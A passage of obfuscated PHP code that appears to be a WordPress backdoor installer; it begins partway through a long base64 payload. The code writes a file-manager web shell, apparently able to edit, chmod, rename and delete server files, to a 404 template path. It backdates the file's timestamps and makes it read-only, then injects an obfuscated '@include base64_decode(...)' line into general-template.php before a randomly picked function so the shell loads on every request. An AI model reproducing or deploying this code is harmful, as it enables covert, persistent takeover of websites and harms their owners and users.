SdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}